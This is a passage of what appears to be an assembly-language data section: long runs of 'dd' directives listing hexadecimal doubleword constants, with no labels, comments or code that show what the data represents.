		dd 71294806h, 78FBDB03h, 5E914DDEh, 2F988040h, 4C87E2A4h
		dd 0CB430FBAh, 0FAC106DCh, 203F6C26h, 6508375Ch, 80A28322h
		dd 3235A4D3h, 0D2015A05h, 0A9E8808Ah, 5820938Eh, 29B3603Ah
		dd 0E24849B1h, 40209004h, 48CC7C04h, 86B20056h,	2C74A81Eh
		dd 949119DBh, 0A3EBD289h, 0B0E3FAB4h, 1DE69C04h, 1F2743A6h
		dd 9F818ACCh, 20D29350h, 0BFAACDA4h, 7C224900h,	0E21BEE07h
		dd 90C32452h, 6000B96Ch, 79084684h, 17F8AB58h, 1448263Ah
		dd 22A4EAAEh, 7967001Fh, 9CBDBE8Eh, 4E16BFE8h, 64601937h
		dd 2466E5h, 0C9ABA941h,	4259B356h, 16CFB18h, 0EF753C20h
		dd 8DD79980h, 0AC120E5Fh, 0BE124AE8h, 5860B536h, 929AE117h
		dd 6EF41370h, 4BA03028h, 2491D56Ch, 0AD362707h,	60B54EA2h
		dd 0A0EAB2DFh, 622E3CBCh, 5AFE9DCh, 0C9129466h,	8820C7DBh
		dd 0E8F97Eh, 4925F535h,	8BCC0D2Fh, 0EDC3B200h, 46BA1D7Ch
		dd 64170F15h, 89F980F4h, 340980D3h, 81C09A78h, 0AFAE0E5Dh
		dd 0DD0AB308h, 8F19437Ch, 0C5D28909h, 783428F4h, 583CD561h
		dd 6F5E1880h, 78E541B0h, 7C93753Fh, 1698AD00h, 23E66C64h
		dd 8B182A48h, 701044D0h, 0DF24BC00h, 0EE8129CFh, 73A22CF7h
		dd 0B53AE178h, 20311234h, 55A09E2Dh, 0FB032C16h, 895BFF00h
		dd 14EB0629h, 78996BF4h, 3A09322h, 8B00F65Ah, 0E16FF267h
		dd 7F2B6B16h, 0C3B71263h, 70C42006h, 7100D394h,	0ADF2FD0Fh
		dd 74A27B0h, 0A5543E17h, 0B594D353h, 0ED432100h, 41F8202Bh
		dd 0EBDC03D0h, 953F42ABh, 0B640B182h, 9F7EF5DDh, 2AA030C0h
		dd 0F0FD1321h, 5F323062h, 0C6E8B718h, 0A18EC901h, 99709B1Eh
		dd 13C0DDCEh, 0CA7673A8h, 0DABAAD0Fh, 3EA0E156h, 8883C3CCh
		dd 68DD6AD2h, 0A7A5074h, 1381AECh, 0DF79007Dh, 7B41C8ADh
		dd 0BDAB0F37h, 4360EA3Dh, 0F73E0324h, 0F356C500h, 0F9680827h
		dd 0FF70A816h, 505A37B4h, 0BA587058h, 2004434h,	0EC06A270h
		dd 113285Fh, 8D090304h,	80D9E83Ch, 0E468F3A1h, 0C0E6B56Eh
		dd 4C117199h, 1215079Dh, 9CDF92h, 7F7EC22Eh, 17619Ch, 34FAE11Eh
		dd 0C63CD373h, 2D005670h, 0A621D14Fh, 7573E07h,	0B537AA6Bh
		dd 0B74C8E87h, 9500A749h, 0CB53D2CFh, 327F28Eh,	0F496A4AEh
		dd 0DDD1DB70h, 0A77CC411h, 91430731h, 0F05055EAh, 3F23A4Dh
		dd 3C9D90F3h, 8CC06673h, 6B70E9E8h, 0F0D890A0h,	2FD47554h
		dd 31F3E0F7h, 0DC7EFF1Bh, 28EBF0E1h, 3A71E83h, 148C003Ah
		dd 2E8A85ADh, 93475E05h, 9C00CD0Bh, 38CE0AF1h, 3BE60011h
		dd 8307EDD5h, 720012EFh, 0AD9E6547h, 407962CEh,	0B3006AE6h
		dd 833D0D5Fh, 0F3441Fh,	0D8735216h, 0B420CEC2h,	2C8B49h
		dd 249F0FDh, 0A12C305h,	2B822432h, 6AF250F4h, 0B4345506h
		dd 1539CE5Ch, 8C5AF9D9h, 47160200h, 0CEC1207Bh,	24F16839h
		dd 598E5CD2h, 0A841906Eh, 0BDCF0440h, 4338DFFEh, 56408FA0h
		dd 879E5F8h, 6548F402h,	6353D5D1h, 87BEB862h, 2F610C0Bh
		dd 71603F6Dh, 0EEEFBC18h, 0C0637389h, 1C8A7F61h, 3FB0CB50h
		dd 0A0A2EA2Eh, 3801E009h, 714F4910h, 9203088Ah,	0BC6164F8h
		dd 8311BBE6h, 0E898DE72h, 744599F3h, 714D8D8h, 0FD15367Ch
		dd 240850F4h, 5101559Bh, 7233068Bh, 1841F3D9h, 2C40E5BCh
		dd 1F3FAF78h, 5455279Eh, 0E402B0F7h, 0B8D5A5Ch,	5B625490h
		dd 0EBA8B0ABh, 540749F5h, 0C469525Ah, 0EC3526h,	0E116207Ch
		dd 0EBAFBEB7h, 9DBC6F54h, 0EF39DD00h, 9A62F88Dh, 0F0E901B0h
		dd 0D345CD70h, 3E0420D9h, 0D82470A4h, 2F4074F1h, 0A9CC2DB2h
		dd 0D19FFAACh, 23056207h, 9A568222h, 88E2F423h,	3C6FFF6Bh
		dd 0F6808114h, 0E9F9FB20h, 0F0900EA9h, 67957212h, 0B5755000h
		dd 4C1E3443h, 5B0A5E8Eh, 4C0F579h, 41B46DA8h, 0DA59AF65h
		dd 8DCD20h, 0BE2581A7h,	0E2C0DF2Bh, 690E600h, 0FAE72269h
		dd 484C7614h, 70443007h, 88664962h, 6BAFBD00h, 7F03C79h
		dd 0BF900B02h, 0B0E7D81Eh, 215AF0h, 0E8AFFF8Eh,	24531B3h
		dd 91CC9230h, 3CA52C50h, 30879BEFh, 0A06A6036h,	8D7E1D65h
		dd 2FA06100h, 0A64755Eh, 513E0433h, 8349C9B0h, 37F00760h
		dd 2A2A11FAh, 9B11789Dh, 0D40EB76Dh, 0F7209072h, 0B8C1A6D0h
		dd 44781D00h, 0A5612FC8h, 7E20F29h, 0EA45FD0Eh,	73BC40F4h
		dd 771F871Ah, 0A6B4906h, 170B23Dh, 0D6426F7h, 2796B58Ah
		dd 244914D0h, 0E7150AE8h, 3444F860h, 0D1EC8024h, 3F12C1DBh
		dd 5406323Ah, 0A9E294h,	600A442Bh, 788E20F4h, 0A66AF901h
		dd 85412DA8h, 20553DCh,	3F08FB12h, 3C669B02h, 872E5508h
		dd 35AC8BD1h, 5A6E80F5h, 781BD96h, 0CE1086C6h, 4AF560E1h
		dd 800D48Eh, 9C19B422h,	4DCB68E7h, 85185C24h, 0B95749A6h
		dd 4E974400h, 0B0481254h, 0EBBB00EDh, 5FE3A92h,	6F12068Fh
		dd 6413D20Bh, 8EF96028h, 424E9A12h, 0C115449h, 0FE6FA02Ch
		dd 37F814D2h, 0FF808487h, 355025D4h, 103FB400h,	868A1443h
		dd 47D0570h, 8268F7EFh,	7222A1C0h, 9AFC6879h, 958C00C9h
		dd 16511F5Dh, 5324B510h, 0E0E48482h, 0E1636040h, 8F00CB90h
		dd 800B1D6Fh, 288B1Eh, 0AB42F1D7h, 17A3192Dh, 87AC954Ch
		dd 5FC4FABCh, 0F86063C5h, 9DE9C07h, 2D58A315h, 20F3DC94h
		dd 9C39F00Ch, 551B0314h, 8B889Ah, 0E5061589h, 87D36838h
		dd 5AA6603h, 0E083A708h, 13F96211h, 46CE3FC2h, 39D9946Ch
		dd 481890Eh, 144C2051h,	12E41FCEh, 20535870h, 0A4B39C0Ch
		dd 62F018A0h, 0E25E64A0h, 5D634B00h, 1AFAC69Dh,	61890B4Fh
		dd 0EC307A31h, 0D24068EAh, 779B007Fh, 0BAAC7B0Eh, 3F0CD15Ch
		dd 28A5D3B1h, 12A8B02Eh, 4435FADDh, 40B49224h, 977DEB55h
		dd 6BC702ADh, 0E64522C5h, 1DAFCD82h, 5A7A44C8h,	1852F10h
		dd 0ECC5F282h, 0C83EC82h, 9508B0E6h, 0F607Fh, 5C1A99E1h
		dd 70705CBh, 0DA856F96h, 93EE2D23h, 7B303BC0h, 7B0754D4h
		dd 448849B2h, 5F3C680Ch, 7E309DB1h, 5C9E5997h, 9B473D61h
		dd 8AB96700h, 742F1F91h, 8E389300h, 8506A158h, 2A131207h
		dd 0F76000C6h, 5331AF5Eh, 1078BF58h, 0DD85A721h, 2ADC8CE8h
		dd 0E4AC8Ch, 8750747h, 0C87E274h, 0AEAD9400h, 0A5C418DBh
		dd 0EA732C38h, 60144744h, 178A5570h, 1994E01h, 83CBF884h
		dd 8F52680Ch, 0C9E2C0C8h, 116AAAh, 78FC997Dh, 0B4B67E70h
		dd 0EC7A4C26h, 0C18BBC86h, 0FAF01331h, 82E830E5h, 3D15372Dh
		dd 8A4432Ah, 60B062h, 5180119Dh, 9407E49Fh, 5E22734Eh
		dd 0D8D1C1F4h, 7849100Bh, 0E0334121h, 6372E200h, 0A17A5C57h
		dd 0D7623113h, 0D9FFC820h, 7BDC0FC1h, 8EC1F9D8h, 6612F25Fh
		dd 3068094Ch, 9D84A058h, 92B388B4h, 28E20078h, 79CB70F4h
		dd 140910DBh
		dd 825EA102h, 92076B44h, 0FD604870h, 0E9F764DBh, 6230D2AFh
		dd 5D023CE4h, 0E472026Fh, 8D48C13Fh, 4973BC11h,	0CCC4D6B4h
		dd 0D52E0A07h, 0CF84787Fh, 4780B163h, 101EA2CCh, 0CFC0AA38h
		dd 512E4EBh, 122877F9h,	8C3F56E1h, 2F60721Ch, 0ED4A8559h
		dd 40EE0578h, 98C6FF51h, 0D4A286BCh, 84C1E460h,	0FA610500h
		dd 0FB15E118h, 94575499h, 9F2A00FEh, 10620C96h,	7473A1EFh
		dd 257EC80Fh, 33F304DBh, 822AA5C2h, 845049E4h, 0D945C174h
		dd 7A60C85Bh, 0A0681148h, 2ED3E24h, 4380DF25h, 78595310h
		dd 8D5FB841h, 94FAB4D8h, 55239EA0h, 0B4C468E8h,	764B3F3h
		dd 8A1538A0h, 7D45EB71h, 40329834h, 7BEC9A33h, 0F408F891h
		dd 813E8A85h, 50B3C1C4h, 30144042h, 4082D2CCh, 4D71990h
		dd 0BD76B2C4h, 0F098B421h, 5FA12709h, 1F180105h, 3C33F8C7h
		dd 0DB7EFF0Ch, 4405AEA9h, 11624513h, 731318CBh,	75084068h
		dd 0E41D7658h, 393F5400h, 0F952AC5Fh, 0E89609EAh, 4860E547h
		dd 30064311h, 69E3DDA3h, 26FB00A9h, 0DBFA9DB6h,	98993FC6h
		dd 0BC11FCA4h, 40BE7400h, 0F9C8CDC5h, 0FDA7A900h, 0D93CAD91h
		dd 0A6370032h, 3221C6Bh, 7C024A05h, 0F9B0A3E9h,	0C60510Dh
		dd 99D9DA52h, 3D00B091h, 86C10A54h, 0F14E0557h,	40AA9212h
		dd 258C2294h, 2A0219F5h, 69A4C548h, 2E004623h, 0C414E357h
		dd 2CCB2Dh, 0E8F8BACCh,	44EE4B1h, 49FE9BACh, 194A20Ah
		dd 4FC9905Eh, 33ED6D3Bh, 85AFC341h, 9C23CC25h, 80768A1Fh
		dd 0C31D88E2h, 0AA09E542h, 6E628294h, 0CC2D2284h, 65F17960h
		dd 140EC81h, 0F3C15BF4h, 26350F9Fh, 10B825E8h, 98DCD0B4h
		dd 8C58C771h, 0AB51D00Eh, 0FBE2DFB8h, 0DD95290Bh, 92BC90E9h
		dd 0E79888B5h, 3EFB7F00h, 0CD187053h, 0AA2F04C9h, 0D99EEDE6h
		dd 0F10441F0h, 0EE3980FCh, 0DB5FB789h, 0A8A6E5h, 95AF344h
		dd 9FCCF64Ah, 0F04BB4E0h, 9418049h, 0BA444298h,	453884E4h
		dd 0F91C3056h, 99F6B437h, 2009F493h, 0C8D4909Ah, 1408058Dh
		dd 0C0E0DF2Eh, 0E8CFBC4Dh, 0CC2AE4A9h, 291D6E6Dh, 0FC27711h
		dd 809438A8h, 0F74AB830h, 0E8C86099h, 7E78A987h, 0BE6E0100h
		dd 3467259Ch, 10A61C09h, 0E200FE0Ah, 28177FD8h,	0BF1FF055h
		dd 0A5C44741h, 0EA801231h, 93E1ABh, 321F8E0h, 57ECADD4h
		dd 1F1AA701h, 0EFFA256Ch, 1D670887h, 0D82260BBh, 3400BD0Ch
		dd 12E8EA5Dh, 7A7BA8C8h, 0BBC00EDh, 0DA5ABB8Dh,	5C0C0923h
		dd 41266AECh, 31AE0F83h, 0FF40DC57h, 0ECD75065h, 0A133609Fh
		dd 93750009h, 0F78B72BDh, 8506F5FDh, 9652367Eh,	0E4DCEB40h
		dd 42CA00E5h, 1EB0D41h,	49001435h, 0F8A411A0h, 0C0F4D659h
		dd 563C6AC0h, 78CF6B74h, 0DC388054h, 74C5145Dh,	0C9780091h
		dd 9A534B9Fh, 7B012557h, 8B6B1007h, 0F9800E36h,	589B2E1Dh
		dd 0F0167F6h, 4B1F5AFh,	8848837Dh, 0E5B90062h, 2EB705FAh
		dd 9105F330h, 74482696h, 1680D01Ch, 7644AC2Ch, 8AD538CDh
		dd 24467B85h, 12DC21F9h, 3DBC4C8Dh, 0DB5E0100h,	0B5E80E71h
		dd 8316000Bh, 57955330h, 900CAB7h, 0F2EF3610h, 0EE6C3472h
		dd 0C72A00F9h, 0CE74B140h, 0C000EBA0h, 0F6664CD4h, 72CDF8Ch
		dd 91FB953Ch, 0E020E330h, 0BB57D6D8h, 0E80A257h, 794B0267h
		dd 0FFC8958h, 9DE6B1h, 59418763h, 0FC5E2D3Ah, 0B3B01400h
		dd 7F6DC503h, 927EE89Ah, 7901003Ch, 0AB248E52h,	0CE743A44h
		dd 0B739D8C0h, 0DE58ED56h, 31235868h, 0A03C81Eh, 0DB46AEB5h
		dd 0BFFAC004h, 6B3039Dh, 4AFDF45Eh, 913C9114h, 593860ECh
		dd 0C1788EF0h, 7B579618h, 0AD8C41D7h, 61598071h, 0C152CA2h
		dd 14EF75CBh, 0B8A827EAh, 0C10B8006h, 0A3002924h, 0D6393D54h
		dd 76E6C7h, 1DEB0544h, 578A9118h, 0EF54F4A8h, 0E9718F60h
		dd 2C688Eh, 40E835F6h, 991D7B9Ch, 5990BB00h, 3696036Bh
		dd 53AE2976h, 350D8C80h, 0F87B13C9h, 0E504007h,	0B7B2B8E3h
		dd 40CFC2F0h, 0DEBF4h, 65C1191Fh, 5B495DB3h, 5A249702h
		dd 82EE9291h, 202D0E48h, 0CE0AC118h, 80B2353Eh,	0A369A99Ch
		dd 9158AB3h, 710C09A2h,	44E9A804h, 948AE712h, 12337B11h
		dd 8040E4EFh, 933A3D08h, 715901F3h, 0EE96A981h,	0BE61D414h
		dd 344240h, 0CED49BDh, 956F4E32h, 24BAB51Bh, 992100CAh
		dd 0DF881959h, 30002B40h, 0B7953343h, 5671C95Bh, 0FB26CC52h
		dd 4E204014h, 1F0738AAh, 88AD7A6Fh, 0E3071710h,	9A5C00A4h
		dd 0F0C044D8h, 4926C196h, 0BC10E7h, 0DC437EFCh,	1330E13h
		dd 7D2D50Dh, 207C0585h,	1F02363Ch, 532E50D4h, 184846B9h
		dd 0F9E30DB2h, 0BF006904h, 0C7415365h, 243F99Ah, 543C8C8Bh
		dd 0B4016A9Fh, 0AC52A029h, 0D0362351h, 7C268900h, 1C5949EFh
		dd 544FCFDh, 80F3EB9h, 38E8070Ch, 8090FAC5h, 75DD4F59h
		dd 0F11C826Bh, 0A580EE1Ah, 855BCE63h, 0C1C22A4Bh, 261D00F4h
		dd 0B6B44E31h, 3F18E7B3h, 0FA50CF3Ah, 6199C0A0h, 926CF8EEh
		dd 50AA5601h, 8E3A8751h, 0C908EC36h, 47063420h,	899ABEh
		dd 7EFAEAE1h, 8A3D9CDAh, 1FF89802h, 0C0D273A5h,	3A64D94h
		dd 5E18DDE0h, 0D2BFDBE7h, 4C687FB9h, 85CE83h, 0BE5CE618h
		dd 0A30E2712h, 60335886h, 9CCB521Bh, 0AAB6004Bh, 0EF1297E9h
		dd 0DB060347h, 0F06B8A5Ch, 7AB00A8h, 6F795D26h,	1852FAA1h
		dd 0A2278h, 8BD8C34Fh, 0F63558Ah, 0E03D58B1h, 0C7DB2F21h
		dd 0CEEE0FFEh, 0F70F70D3h, 38054049h, 0F4EC001Dh, 0C90B5763h
		dd 0CF53C0C1h, 36026730h, 0BD1C2C44h, 820FF111h, 3A71804Fh
		dd 9B9B8CEBh, 3C8B039Ch, 63D1B384h, 0FA398909h,	106820F1h
		dd 0F84D1588h, 6FDD121Fh, 0B5430091h, 6AAE7CFAh, 31B76100h
		dd 0B9AD3656h, 89C0092h, 76D4C893h, 609186ACh, 94C2F909h
		dd 0BADA000Ch, 35C92E0Eh, 0E8A960ABh, 8087604Bh, 80971F3Bh
		dd 0B24354B0h, 7399E9Fh, 0E5C8D8B3h, 88E0AAA6h,	5C45C9AFh
		dd 62EEA420h, 2E3014E6h, 2A012CBFh, 0D3E09F36h,	267CD45Ch
		dd 0A7C64F03h, 0AB75C587h, 5D58E146h, 27DE460h,	1E012763h
		dd 80461105h, 47C59411h, 0DCFC0378h, 5DF0ACE2h,	0DA86FAA0h
		dd 17E9A700h, 0CD33C652h, 7BCB00A6h, 0A4350BC4h, 5D059262h
		dd 0C8BF31D8h, 48AD9071h, 4599Dh, 0D3A72355h, 51093D0Ah
		dd 0B0B1D013h, 6A46D4ACh, 1520317Dh, 0AA7BDC03h, 0DDF0A4ACh
		dd 8CA00D22h, 0B933FABFh, 2F8BD200h, 3EBE191Dh,	34745953h
		dd 9EE9FC81h, 0BCF6006Ah, 0A5BD4CE1h, 0E0947B00h, 7D09276Fh
		dd 72DA3B01h, 533C7654h, 3678180h, 0C97156A4h, 3C8614B9h
		dd 5821BD9Ah, 12B010A0h, 0B1162199h, 3809AAC4h,	0C268A016h
		dd 96AB608h, 81D69269h,	0E3245C33h, 13F4AEFh, 91E373FAh
		dd 0B997C755h, 0FB440054h, 0BAC0272Dh, 0DB5C2116h, 0C7126C62h
		dd 6BABDECh, 0B25ED900h, 0F6C90DE9h, 1103131Fh,	0B09BC24h
		dd 5D6CA091h, 3C978336h, 3A007BBDh, 25E07A8Fh, 7702FC1Eh
		dd 15963EBh, 12FC414Eh,	0BA2A5F10h, 371D201Fh, 61CEC38Fh
		dd 3D5EDE9Fh, 27B3423h,	16AFF936h, 0B440B96Fh, 0E4018F8Bh
		dd 0FFF7DBBAh, 5840BE58h, 161EE9h, 59F43991h, 0C72D7513h
		dd 0AE0CB0E8h, 2934B423h, 71C5168Ch, 3DF02854h,	100A8324h
		dd 8C1A7C80h, 9E3F5D4h,	311EA7CAh, 2B363C98h, 980BC09Ah
		dd 2927CDh, 82AA598Bh, 1E77025Ah, 7D17D7Bh, 62EC80E0h
		dd 0FC594A8h, 0F77C03Ah, 0A0975228h, 0FC7199A1h, 6CD930D3h
		dd 89CD53A1h, 0C2852112h
		dd 0DB570405h, 8C473800h, 24416FA4h, 0C10477E2h, 0CC023919h
		dd 610C7191h, 516FAA0Bh, 3D4F17CBh, 30A400EEh, 8E3C9DFFh
		dd 90101848h, 46605184h, 81FC09CCh, 0A316C002h,	8B751273h
		dd 4049E94h, 0A4A87136h, 5FE480FAh, 0BF6AEBF4h,	9D8868F1h
		dd 402CA6C2h, 6ED50869h, 5CBB2E00h, 0C14211AFh,	3B8A16DFh
		dd 13082049h, 0A8915F28h, 1E3DF70Bh, 52E303C0h,	5136D7B3h
		dd 0B4AAEFB0h, 0A201A771h, 3563AE8Eh, 0BCCA555h, 10CB228h
		dd 4F29511Fh, 0EB8EB6E6h, 26BB9D99h, 259C14D4h,	0AE978090h
		dd 25E637Ch, 48DDE460h,	0C89866A7h, 32EB7B4h, 8140A8AAh
		dd 113A07Fh, 0B6619ECFh, 6662EF39h, 453C145Ch, 0C8FB2C6Ch
		dd 0FD1E7A0Bh, 98855E84h, 89007230h, 65D78FB7h,	0F6DE6D4h
		dd 0E8195F99h, 8C80AA04h, 1899A800h, 33BEE680h,	7D3C7508h
		dd 4A6EADBh, 0D43ABD4Fh, 8CB0A48Bh, 0BE960413h,	92B7E420h
		dd 11FB027h, 14B4C9D1h,	0ECA893AFh, 0B8092DECh,	0B172BD71h
		dd 8C40C568h, 5019BF5Ch, 2DA2CAAh, 3E738C6Bh, 9882E537h
		dd 0D427210Fh, 40096A75h, 0B99C66AEh, 0DA8700B0h, 59863DD9h
		dd 0BE0C9E60h, 222CB08h, 950A264Dh, 9C81F96Dh, 824A5AD4h
		dd 0F8913B51h, 98ACA9F5h, 0B587A4A4h, 68F3B860h, 18035877h
		dd 2FC0B678h, 94B38032h, 54354C5Dh, 4A972C79h, 6747082Ch
		dd 0B5FB8C80h, 1B26E1Fh, 0E1ED6A92h, 0C866C0EEh, 0BA31DF82h
		dd 0BDF43E72h, 297261C6h, 350AA1C8h, 8030C16Fh,	9B9559D3h
		dd 0E9414800h, 5C51EA68h, 0E55703A0h, 0CC66376Ah, 228D281Ch
		dd 0E19B7443h, 3107FC9h, 97E86D6Bh, 50A8B0BAh, 6303A6E0h
		dd 3088EE99h, 403898A4h, 0E141C624h, 5E239ECh, 5F010D00h
		dd 3A8B9639h, 7DCB0018h, 8FACDDC6h, 0D300CD49h,	43A978FEh
		dd 185EFFAEh, 40EBFDBAh, 7E0F6D8Fh, 8AED55E5h, 65035068h
		dd 58AA5176h, 9900AF30h, 2A9D98AFh, 887B584Ch, 0BFCDB3Dh
		dd 80FDABA3h, 40E4F4CDh, 580B2922h, 4DC00988h, 0C7B56281h
		dd 0EC8E21CAh, 40038DBAh, 4EDCA656h, 0A870D538h, 0AA424B3h
		dd 0DE4D9311h, 54146090h, 0E9012933h, 4C6D181Dh, 0AD60E5F8h
		dd 646E0002h, 8A98C3B8h, 0B9008C25h, 0D061996Ch, 737DC805h
		dd 2A68A4B1h, 58052C9h,	3EC65D6Ah, 0B081399h, 6880C4D1h
		dd 8AC1B402h, 90E43828h, 0A667903h, 0F3EC843Ch,	0C5BDA0D8h
		dd 0FA2B0156h, 0E23175E8h, 36708642h, 511BFBh, 0B1B845B3h
		dd 0D5253896h, 6B290F00h, 1F1E3132h, 87DB39E9h,	15089A6h
		dd 1B402A4Fh, 0E7A04098h, 0A003147Bh, 839F028Fh, 3C507C6Ch
		dd 0F0006606h, 5BB8E8D2h, 410012C7h, 70B40354h,	1847CD4Fh
		dd 31408C22h, 3C1F029Ah, 664FFF51h, 7446C0F4h, 35953FEh
		dd 0C8E7D1D2h, 0B100F0F5h, 90EFCC30h, 0F32A76h,	0F80DBB9Ah
		dd 0CF150B57h, 8089130h, 3AD9771Ah, 0D180FEC6h,	82229E33h
		dd 64032725h, 6A5205A4h, 0B280004h, 68599DBDh, 2A03189Ah
		dd 0A4FDE13Dh, 0FA48000Dh, 13105FB1h, 0D9774FBAh, 5E8D9000h
		dd 0F87A19CBh, 400C33B0h, 8EC0E050h, 4CEC6A04h,	1B11C00h
		dd 42232B7Eh, 5AE900D9h, 7F49D205h, 75009233h, 59C72F2Eh
		dd 0CCA1CB5h, 0DA44D4FFh, 0F009B90h, 0F83315D3h, 0EE9D68h
		dd 7B14C65Ch, 64C166E8h, 0FF700200h, 5BCDE91h, 51BF001Eh
		dd 8FCB5FECh, 30C3FBD3h, 0E8421832h, 3D770Bh, 673C8114h
		dd 0DF35338Fh, 0FC60B6E8h, 21E6DC28h, 0B5DB00CBh, 4220CCC2h
		dd 0BD043766h, 0B14BE412h, 0C9F4A900h, 0D70326BAh, 0D85498F3h
		dd 0F0CBA8EAh, 3144037Dh, 273A12D0h, 0FFD63C90h, 16A9858h
		dd 0B25AFEFBh, 9980D46Bh, 0F23DA562h, 5BF0E2FCh, 8E32400h
		dd 0AC58DD32h, 0DED10309h, 0EFFB112Ch, 2DB2301Eh, 4F0F4A00h
		dd 2E6B18h, 1DEB7B32h, 92DD34C4h, 0FF7E9F00h, 10D6E6F1h
		dd 3B2670B3h, 718CBF28h, 45E9B883h, 8DCA5200h, 0AD047D10h
		dd 666E002Fh, 0A80EF0Ch, 621242E3h, 9300DF90h, 0DB0B4A7h
		dd 0B2C70053h, 219C8FCh, 9D009FFEh, 6B63E579h, 0F6CB282Bh
		dd 0D5570035h, 0EF6F957Ah, 0DA0374EAh, 0C22F5571h, 0DC01963h
		dd 0DCFC0868h, 82013393h, 0BF8D4F9Bh, 0D0D44C16h, 9D2200B1h
		dd 7A51BDA1h, 0BCA4E9FAh, 72E550Ch, 6FFB405Bh, 0E8091DFh
		dd 4D049978h, 5488C118h, 0C044E519h, 7D84F739h,	0FE290443h
		dd 98B4885Fh, 9CB2C441h, 18228392h, 0C821EA00h,	0FC6C974Dh
		dd 0A6107100h, 7251B3Dh, 8CC453DAh, 22D69C00h, 0A4AC1205h
		dd 9419E129h, 0A0310739h, 619132B5h, 8DDDB6CEh,	8B848C45h
		dd 0EBF38C04h, 2188Ch, 0A30B954Ch, 0D72DEE50h, 5A40891Dh
		dd 2AC0B594h, 0BA009CA1h, 0C385E2C8h, 0ABAF25h,	0FEDCA541h
		dd 59C0C680h, 50CBE329h, 0ADF8EA05h, 0E92E8400h, 27E42Fh
		dd 31A5FBDFh, 9F070EBFh, 199D3B0Eh, 0B9664064h,	568D1E3h
		dd 0F411601Ah, 39C021E5h, 0E88DF164h, 1900B3A7h, 495388A9h
		dd 24421D7Ch, 91945C5Ah, 97D450A3h, 0EC5479F2h,	68306A74h
		dd 331921C2h, 320C1CC8h, 8F42C0A8h, 99AEE09Bh, 0DDFE0276h
		dd 0C1C3EF15h, 0A58318F4h, 0ED8D39h, 90AD187Eh,	0FE080992h
		dd 0B3001C73h, 12A836BDh, 2D60B5h, 50D149EEh, 0C3BC6D66h
		dd 48BFE100h, 1F8134B9h, 982B1854h, 0CE4718BBh,	74C18400h
		dd 6B401845h, 0F82200F0h, 0D2B92A1Ah, 551804BFh, 3149732Bh
		dd 0CD0103C4h, 9CDA0D64h, 0DC43A8F8h, 0BF206361h, 609D82FAh
		dd 0D700E05Ah, 0C6FFB4CDh, 0E1F6745Ch, 2E6D20h,	5E160CB2h
		dd 0DFB04F65h, 0E1F47D98h, 0A61948C0h, 0B888DBFAh, 9B1412A3h
		dd 20700033h, 0F1E858E6h, 0C006CB79h, 0CF85736Dh, 7E630068h
		dd 15ABA98Bh, 0B453FF16h, 90230084h, 339D10EFh,	0A90100F0h
		dd 0CF77E075h, 3E561B05h, 0B9C0728Ch, 89AEADBCh, 38D50F92h
		dd 0D843F8B4h, 0ABD0EA4Eh, 0FF0F07B8h, 0E06B528Bh, 0AFEB602Ah
		dd 0BFDF00ADh, 3ECC2711h, 0A150541Dh, 0E1442690h, 614D602Ch
		dd 0FFD108ECh, 6586C200h, 151AE9CBh, 1705C17h, 5030E030h
		dd 1E96469h, 67E1F203h,	0CABE848h, 0BB6FB62Ah, 4910C068h
		dd 7B00C2DDh, 93281EF8h, 3F05A199h, 9EAE5677h, 0B9B8E00h
		dd 0C103FE9Fh, 49739959h, 5C384154h, 0B01A126Eh, 3011C08Ch
		dd 7A295549h, 0B62E24FBh, 0C60E903Bh, 21E3000Ah, 3AF1C498h
		dd 0BA004AFDh, 8365072Bh, 1FF29C6Bh, 0DDFA5EFAh, 0EC592202h
		dd 48FC448Dh, 0E3521Ch,	76CA6B54h, 0DD57C74Ch, 3C531401h
		dd 38492E7Fh, 0EE8B7980h, 0A1BF1A5Ah, 720DFF48h, 0A6D62002h
		dd 0A0DC90C0h, 5AE6B080h, 6E280085h, 0B81A45E4h, 127409B9h
		dd 0DADFC800h, 4A0E1CF8h, 0CD81C017h, 0E7C27087h, 69FC8A00h
		dd 330A0CAFh, 6D6B1D13h, 4F03D218h, 0D146390Ch,	0DB1568B3h
		dd 1FECE627h, 2B1DFAC1h, 200DD64Fh, 1A0C52ECh, 0A9932403h
		dd 3A0F8050h, 0DFDD47C1h, 964CE507h, 0A6D34FA7h, 8392CBB1h
		dd 0AA2800C4h, 6542CF01h, 3317204Eh, 680019FAh,	477417F7h
		dd 2E9300EBh, 88B92457h, 54011E16h, 8650DA2Fh, 78204FE2h
		dd 61EB00D6h, 9D695CF6h, 0C0003765h, 84E29F2Bh,	79B4DBh
		dd 110CC608h, 0D1C3C90Eh, 86BC7112h, 83E0C4B1h,	5C00EB0h
		dd 0EC02B528h, 0AD40C2B9h, 0CCE41635h, 4F601D02h, 8F43E0AFh
		dd 78118C8Ch, 6B6503A6h, 3B2EB2D7h, 800480A4h, 489AD53Dh
		dd 0C35B6110h, 8CDA9215h, 714812h, 3F2A7D2Fh, 200040B1h
		dd 9B34090Ah, 24A4DD4Ch
		dd 2918FEFCh, 0EF910040h, 3951CEB3h, 9598A00h, 7F74D4D8h
		dd 0F3FF00F5h, 5D17449Eh, 46032DF9h, 0D627C5D7h, 562CA0BFh
		dd 2AC73AEEh, 0F3D11962h, 0A5BEEF23h, 44AA4080h, 0F6B70057h
		dd 0AD116323h, 5187049h, 0AA60F94Ch, 28AB00BBh,	9F8C0B83h
		dd 2A01D053h, 7923A694h, 1EB0F0B1h, 0F6352C60h,	6AAC188h
		dd 1D6A985Eh, 0D50364A4h, 59488C06h, 0F3900026h, 22043143h
		dd 0C50C636Fh, 4962DA5Eh, 706E00F1h, 5CEB4015h,	2E0050B5h
		dd 0B9E7BF95h, 0F78A4F7h, 3C75F4B1h, 0E8B1069h,	66A00D03h
		dd 69DFAE0h, 1827D93Eh,	0AF91A735h, 0C5400A2h, 0C8E9872Eh
		dd 7B0049A5h, 329B1E58h, 7ED0A62h, 0B71CD6ABh, 0AAF40009h
		dd 8030D2A5h, 0E698F81Eh, 0A057693Bh, 0A6691580h, 0FD00917Ch
		dd 4370760Ah, 0FA9F733Fh, 836200AAh, 0C13011CCh, 977153BDh
		dd 4C6119C1h, 80402ED3h, 666AD9Dh, 40A5F0C0h, 0B60AA8D8h
		dd 0D829C8EBh, 0C40BF180h, 0FAAFCFFBh, 0AC9CA82Dh, 762800C7h
		dd 68CA0572h, 63280A7Ah, 20C0E899h, 32DA8149h, 0CCF1523Eh
		dd 204AAD14h, 31F8C803h, 32F8FBC3h, 9B0C5CB7h, 21E65950h
		dd 677E00C5h, 541B6671h, 8A24BBBFh, 13F6A0Ch, 0ADC69895h
		dd 0BC4076EAh, 1840E16Eh, 68C02158h, 530360D5h,	9BF89ABFh
